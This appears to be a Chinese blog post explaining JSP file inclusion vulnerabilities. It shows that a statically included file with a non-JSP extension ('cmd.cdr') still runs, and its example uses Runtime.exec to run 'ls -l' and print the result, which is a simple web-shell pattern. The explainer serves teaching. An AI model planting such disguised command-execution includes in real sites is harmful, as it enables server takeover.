首页 > 其他分享 >jsp 之文件包含漏洞

jsp 之文件包含漏洞

时间:2023-09-16 12:01:00浏览次数:43  
标签:文件 包含 后缀名 漏洞 JSP World jsp

一、静态包含

  被静态包含文件的后缀名可以是txt、png、jpg等,只要文件内容是正常的jsp内容,被包含文件就可以正常加载、编译和执行。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JSP - Hello World</title>
</head>
<body>
    <%@include file="cmd.cdr"%>
</body>
</html>
fi.jsp
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
</head>
<body>
    <%
        Process process = Runtime.getRuntime().exec("ls -l");
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String lines = "", line = "";
        while ((line = reader.readLine()) != null) {
            lines += line+ "<br>";
        }
    %>
    <%= lines %>
</body>
</html>
cmd.cdr

  访问效果如下:

 二、动态包含

  被动态包含文件的后缀名必需是jsp,否则不能正常运行,如下:

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JSP - Hello World</title>
</head>
<body>
    <jsp:include page="cmd.txt"/>
</body>
</html>
fi.jsp

 

标签:文件,包含,后缀名,漏洞,JSP,World,jsp
From: https://www.cnblogs.com/changrunwei/p/17706540.html

相关文章

  • 如何使用 Harbor 和 Trivy 快速扫描镜像漏洞
    如何使用Harbor和Trivy快速扫描镜像漏洞奇妙的Linux世界 2023-09-1611:24 发表于重庆 以下文章来源于Harbor进阶实战 ,作者键客李大白Harbor进阶实战.本公众号主要分享云原生领域Harbor私有镜像仓库在实际业务场景中的一些知识。harbor企业级高可用设计、备份......
  • m基于uw导频序列和cordic算法的基带数据帧频偏估计和补偿FPGA实现,包含testbench
    1.算法仿真效果本系统进行了Vivado2019.2平台的开发,测试结果如下:我们可以看到,带有频偏的基带信号o_I_fre和o_Q_fre得到了有效的频偏补偿,其补偿后的数据o_Ir和o_Qr和原始的基带数据基本一致。2.算法涉及理论知识概要基带数据帧频偏估计和补偿是一种用于纠正数字通信系统中......
  • m基于uw导频序列和cordic算法的基带数据帧频偏估计和补偿FPGA实现,包含testbench
    1.算法仿真效果本系统进行了Vivado2019.2平台的开发,测试结果如下:          我们可以看到,带有频偏的基带信号o_I_fre和o_Q_fre得到了有效的频偏补偿,其补偿后的数据o_Ir和o_Qr和原始的基带数据基本一致。 2.算法涉及理论知识概要     基带数据帧频偏估计......
  • 通达OA前台任意用户登录漏洞复现
    目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境1.5、修复建议说明内容漏洞编号漏洞名称通达OA前台任意用户登录漏洞复现漏洞评级影响范围通达OA<11.5通达OA2017版本漏洞描述通达OA是一套国内常用的办公系统,此次安全更新修复......
  • JSP
    一、JSP1.简介JSP(全称JavaServerPages)是由SunMicrosystems公司倡导和许多公司参与共同创建的一种使软件开发者可以响应客户端请求,而动态生成HTML、XML或其他格式文档的Web网页的技术标准。JSP技术是以Java语言作为脚本语言的,JSP网页为整个服务器端的Java库单元......
  • 永恒之蓝漏洞的利用
    永恒之蓝漏洞的利用一、实验前准备首先关闭win7的防火墙,开启445端口,并且攻击机(kali)和靶机(win7)可以互相ping通。二、实验过程使用kali打开msfconsole,使用它先进行win7靶机的445端口扫描,检查其是否打开,然后我们搜索ms17-010模块。这里我们可以得到一些模块,其中auxili......
  • 网络安全漏洞管理规定
    一、总则第一条为落实《中华人民共和国信息安全法》《中华人民共和国数据安全法》《关键信息基础设施安全保护条例》《网络产品安全漏洞管理规定》等法律法规的要求,履行主体责任和义务,结合公司实际情况,制定本规定。第二条本规定适用范围为****公司(以下简称“公司”)生产中心和灾备......
  • 文件包含伪协议套协议
    来自:[BSidesCF2020]Hadabadday打开网页,可点两个按钮,点了点就是几个图片:这里注意到网址有个category传参,应该是get传的,打开源码:这里有点抽象,但是注意name=category,method=get,而且有src,估计是文件包含漏洞。那就用经典filter协议:?category=php://filter/convert.base64......
  • 洗面奶检测的项目包含哪些?
    洗面奶,属于面部洁肤制品。清洗皮肤时,洗面奶清洗的对象物是人体面部的皮肤分泌的皮脂、汗、剥离脱落的角质层细胞等从身体上产生的污垢,以及灰尘、各种微生物、美容化妆品残留物等来自外部的污垢。这些残留代谢产物是不稳定的,可与空气中的氧,或沉积分子反应。在暴露于阳光时或皮肤上有......
  • DevSecOps 中的漏洞管理(下)
    建立漏洞管理程序以支持DevSecOps在讨论DevSecOps及DevOps模型中包含安全性的重要性时,建立有效的漏洞管理实践是非常重要的。这可以通过将漏洞管理设置为程序来实现。我们可以开始对IT组织进行漏洞管理评估。人们经常问的问题可能是,既然已经建立了一些补救机制,为什么还需要进行......